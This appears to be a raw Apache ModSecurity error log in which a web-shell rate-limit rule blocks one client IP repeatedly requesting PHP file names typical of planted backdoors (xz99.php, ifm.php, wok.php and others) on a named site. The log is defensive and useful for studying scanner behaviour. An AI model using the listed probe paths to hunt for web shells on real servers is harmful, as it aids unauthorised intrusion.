[Sat Dec 13 00:05:18.403236 2025] [:error] [pid 27950:tid 27975] [client 4.193.186.94:20843] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/av.php.php"] [unique_id "aTw9PoVLRvkrdsSc1F3NbQAAAVc"]
[Sat Dec 13 00:05:18.641491 2025] [:error] [pid 26520:tid 26574] [client 4.193.186.94:35945] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/av.php.php"] [unique_id "aTw9PkG_frlY5vNXu_AgegAAAFY"]
[Sat Dec 13 00:05:18.912425 2025] [:error] [pid 26521:tid 26581] [client 4.193.186.94:20857] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/av.php.php"] [unique_id "aTw9PpdhcAPU617AKTDEYQAAAII"]
[Sat Dec 13 00:05:19.338389 2025] [:error] [pid 26521:tid 26586] [client 4.193.186.94:20824] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/av.php.php"] [unique_id "aTw9P5dhcAPU617AKTDEZAAAAIc"]
[Sat Dec 13 00:05:19.550294 2025] [:error] [pid 55760:tid 55769] [client 4.193.186.94:35250] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xz99.php"] [unique_id "aTw9P1ObDQlftFDyGaxGtwAAAYc"]
[Sat Dec 13 00:05:19.841769 2025] [:error] [pid 27950:tid 27962] [client 4.193.186.94:20932] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xz99.php"] [unique_id "aTw9P4VLRvkrdsSc1F3NcAAAAUo"]
[Sat Dec 13 00:05:20.154925 2025] [:error] [pid 26521:tid 26593] [client 4.193.186.94:20915] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xz99.php"] [unique_id "aTw9QJdhcAPU617AKTDEZwAAAI4"]
[Sat Dec 13 00:05:20.398069 2025] [:error] [pid 26521:tid 26600] [client 4.193.186.94:20862] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xz99.php"] [unique_id "aTw9QJdhcAPU617AKTDEagAAAJU"]
[Sat Dec 13 00:05:20.719630 2025] [:error] [pid 26521:tid 26592] [client 4.193.186.94:20784] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file13.php"] [unique_id "aTw9QJdhcAPU617AKTDEbQAAAI0"]
[Sat Dec 13 00:05:21.105861 2025] [:error] [pid 26521:tid 26596] [client 4.193.186.94:20916] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file13.php"] [unique_id "aTw9QZdhcAPU617AKTDEbgAAAJE"]
[Sat Dec 13 00:05:21.480778 2025] [:error] [pid 26519:tid 26537] [client 4.193.186.94:20903] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file13.php"] [unique_id "aTw9Qc8TRgSGOeWqEhcVhQAAAA4"]
[Sat Dec 13 00:05:21.795520 2025] [:error] [pid 27950:tid 27969] [client 4.193.186.94:21052] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file13.php"] [unique_id "aTw9QYVLRvkrdsSc1F3NcwAAAVE"]
[Sat Dec 13 00:05:22.072726 2025] [:error] [pid 26520:tid 26556] [client 4.193.186.94:20852] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ifm.php"] [unique_id "aTw9QkG_frlY5vNXu_AgfwAAAEQ"]
[Sat Dec 13 00:05:22.305055 2025] [:error] [pid 26520:tid 26565] [client 4.193.186.94:20960] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ifm.php"] [unique_id "aTw9QkG_frlY5vNXu_AggQAAAE0"]
[Sat Dec 13 00:05:22.587083 2025] [:error] [pid 55760:tid 55783] [client 4.193.186.94:20748] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ifm.php"] [unique_id "aTw9QlObDQlftFDyGaxGuQAAAZU"]
[Sat Dec 13 00:05:22.787714 2025] [:error] [pid 26520:tid 26559] [client 4.193.186.94:20869] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ifm.php"] [unique_id "aTw9QkG_frlY5vNXu_AggwAAAEc"]
[Sat Dec 13 00:05:23.054041 2025] [:error] [pid 27950:tid 27963] [client 4.193.186.94:20775] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lv.php"] [unique_id "aTw9Q4VLRvkrdsSc1F3NdAAAAUs"]
[Sat Dec 13 00:05:23.307953 2025] [:error] [pid 26607:tid 26627] [client 4.193.186.94:20849] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lv.php"] [unique_id "aTw9Q8b_b0tOEWTL2KnGKwAAANI"]
[Sat Dec 13 00:05:23.650861 2025] [:error] [pid 60649:tid 60656] [client 4.193.186.94:20786] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lv.php"] [unique_id "aTw9Q1OcUGKU3sgfHP8iowAAAQQ"]
[Sat Dec 13 00:05:24.186270 2025] [:error] [pid 26520:tid 26561] [client 4.193.186.94:20842] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lv.php"] [unique_id "aTw9REG_frlY5vNXu_AghAAAAEk"]
[Sat Dec 13 00:05:24.632793 2025] [:error] [pid 55760:tid 55781] [client 4.193.186.94:20970] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/nfile.php"] [unique_id "aTw9RFObDQlftFDyGaxGugAAAZM"]
[Sat Dec 13 00:05:24.937643 2025] [:error] [pid 55760:tid 55770] [client 4.193.186.94:20957] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/nfile.php"] [unique_id "aTw9RFObDQlftFDyGaxGuwAAAYg"]
[Sat Dec 13 00:05:25.222327 2025] [:error] [pid 60649:tid 60652] [client 4.193.186.94:20847] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/nfile.php"] [unique_id "aTw9RVOcUGKU3sgfHP8ipwAAAQA"]
[Sat Dec 13 00:05:25.465202 2025] [:error] [pid 55760:tid 55780] [client 4.193.186.94:20743] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/nfile.php"] [unique_id "aTw9RVObDQlftFDyGaxGvAAAAZI"]
[Sat Dec 13 00:05:25.712456 2025] [:error] [pid 26607:tid 26617] [client 4.193.186.94:35253] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aaaa.php"] [unique_id "aTw9Rcb_b0tOEWTL2KnGLgAAAMg"]
[Sat Dec 13 00:05:26.032999 2025] [:error] [pid 26520:tid 26563] [client 4.193.186.94:20980] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aaaa.php"] [unique_id "aTw9RkG_frlY5vNXu_AghwAAAEs"]
[Sat Dec 13 00:05:26.311780 2025] [:error] [pid 26607:tid 26612] [client 4.193.186.94:20941] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aaaa.php"] [unique_id "aTw9Rsb_b0tOEWTL2KnGLwAAAMM"]
[Sat Dec 13 00:05:26.537612 2025] [:error] [pid 26521:tid 26602] [client 4.193.186.94:20819] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aaaa.php"] [unique_id "aTw9RpdhcAPU617AKTDEfgAAAJc"]
[Sat Dec 13 00:05:26.813454 2025] [:error] [pid 26521:tid 26597] [client 4.193.186.94:20841] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ker.php"] [unique_id "aTw9RpdhcAPU617AKTDEgAAAAJI"]
[Sat Dec 13 00:05:27.078895 2025] [:error] [pid 60649:tid 60661] [client 4.193.186.94:20816] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ker.php"] [unique_id "aTw9R1OcUGKU3sgfHP8iqAAAAQk"]
[Sat Dec 13 00:05:27.588374 2025] [:error] [pid 55760:tid 55765] [client 4.193.186.94:20789] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ker.php"] [unique_id "aTw9R1ObDQlftFDyGaxGvQAAAYM"]
[Sat Dec 13 00:05:27.893193 2025] [:error] [pid 55760:tid 55774] [client 4.193.186.94:20870] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ker.php"] [unique_id "aTw9R1ObDQlftFDyGaxGvgAAAYw"]
[Sat Dec 13 00:05:28.381873 2025] [:error] [pid 55760:tid 55768] [client 4.193.186.94:35201] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gul.php"] [unique_id "aTw9SFObDQlftFDyGaxGwAAAAYY"]
[Sat Dec 13 00:05:28.664901 2025] [:error] [pid 55760:tid 55778] [client 4.193.186.94:20767] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gul.php"] [unique_id "aTw9SFObDQlftFDyGaxGwQAAAZA"]
[Sat Dec 13 00:05:28.932578 2025] [:error] [pid 26519:tid 26527] [client 4.193.186.94:20999] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gul.php"] [unique_id "aTw9SM8TRgSGOeWqEhcVigAAAAQ"]
[Sat Dec 13 00:05:29.373272 2025] [:error] [pid 26520:tid 26553] [client 4.193.186.94:21050] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gul.php"] [unique_id "aTw9SUG_frlY5vNXu_AgiQAAAEE"]
[Sat Dec 13 00:05:29.773169 2025] [:error] [pid 26520:tid 26564] [client 4.193.186.94:20763] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/image.php"] [unique_id "aTw9SUG_frlY5vNXu_AgiwAAAEw"]
[Sat Dec 13 00:05:30.302342 2025] [:error] [pid 26520:tid 26576] [client 4.193.186.94:20749] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/image.php"] [unique_id "aTw9SkG_frlY5vNXu_AgjAAAAFg"]
[Sat Dec 13 00:05:30.735895 2025] [:error] [pid 26519:tid 26534] [client 4.193.186.94:20854] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/image.php"] [unique_id "aTw9Ss8TRgSGOeWqEhcVjwAAAAs"]
[Sat Dec 13 00:05:31.201000 2025] [:error] [pid 55760:tid 55763] [client 4.193.186.94:35222] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/image.php"] [unique_id "aTw9S1ObDQlftFDyGaxGwgAAAYE"]
[Sat Dec 13 00:05:31.503777 2025] [:error] [pid 55760:tid 55772] [client 4.193.186.94:20921] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lok.php"] [unique_id "aTw9S1ObDQlftFDyGaxGxAAAAYo"]
[Sat Dec 13 00:05:32.125837 2025] [:error] [pid 60649:tid 60671] [client 4.193.186.94:35232] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lok.php"] [unique_id "aTw9TFOcUGKU3sgfHP8iqgAAARM"]
[Sat Dec 13 00:05:32.468346 2025] [:error] [pid 27950:tid 27956] [client 4.193.186.94:20926] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lok.php"] [unique_id "aTw9TIVLRvkrdsSc1F3NegAAAUQ"]
[Sat Dec 13 00:05:32.900756 2025] [:error] [pid 26521:tid 26599] [client 4.193.186.94:20737] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lok.php"] [unique_id "aTw9TJdhcAPU617AKTDEkgAAAJQ"]
[Sat Dec 13 00:05:33.253146 2025] [:error] [pid 27950:tid 27964] [client 4.193.186.94:35223] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hey.php"] [unique_id "aTw9TYVLRvkrdsSc1F3NfAAAAUw"]
[Sat Dec 13 00:05:33.461171 2025] [:error] [pid 60649:tid 60670] [client 4.193.186.94:20804] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hey.php"] [unique_id "aTw9TVOcUGKU3sgfHP8irAAAARI"]
[Sat Dec 13 00:05:33.945190 2025] [:error] [pid 26519:tid 26533] [client 4.193.186.94:35240] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hey.php"] [unique_id "aTw9Tc8TRgSGOeWqEhcVmgAAAAo"]
[Sat Dec 13 00:05:34.586670 2025] [:error] [pid 27950:tid 27963] [client 4.193.186.94:20965] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hey.php"] [unique_id "aTw9ToVLRvkrdsSc1F3NhAAAAUs"]
[Sat Dec 13 00:05:34.912568 2025] [:error] [pid 27950:tid 27971] [client 4.193.186.94:20811] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/e3.php"] [unique_id "aTw9ToVLRvkrdsSc1F3NhQAAAVM"]
[Sat Dec 13 00:05:35.486853 2025] [:error] [pid 60649:tid 60672] [client 4.193.186.94:20833] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/e3.php"] [unique_id "aTw9T1OcUGKU3sgfHP8irQAAARQ"]
[Sat Dec 13 00:05:35.908178 2025] [:error] [pid 26607:tid 26633] [client 4.193.186.94:20770] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/e3.php"] [unique_id "aTw9T8b_b0tOEWTL2KnGMwAAANg"]
[Sat Dec 13 00:05:36.303077 2025] [:error] [pid 27950:tid 27958] [client 4.193.186.94:21542] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/e3.php"] [unique_id "aTw9UIVLRvkrdsSc1F3NhwAAAUY"]
[Sat Dec 13 00:05:36.793683 2025] [:error] [pid 26607:tid 26624] [client 4.193.186.94:20768] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wok.php"] [unique_id "aTw9UMb_b0tOEWTL2KnGNQAAAM8"]
[Sat Dec 13 00:05:37.127169 2025] [:error] [pid 27950:tid 27970] [client 4.193.186.94:21318] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wok.php"] [unique_id "aTw9UYVLRvkrdsSc1F3NiQAAAVI"]
[Sat Dec 13 00:05:37.652401 2025] [:error] [pid 26607:tid 26622] [client 4.193.186.94:21521] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wok.php"] [unique_id "aTw9Ucb_b0tOEWTL2KnGOAAAAM0"]
[Sat Dec 13 00:05:37.900917 2025] [:error] [pid 26607:tid 26627] [client 4.193.186.94:20832] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wok.php"] [unique_id "aTw9Ucb_b0tOEWTL2KnGOQAAANI"]
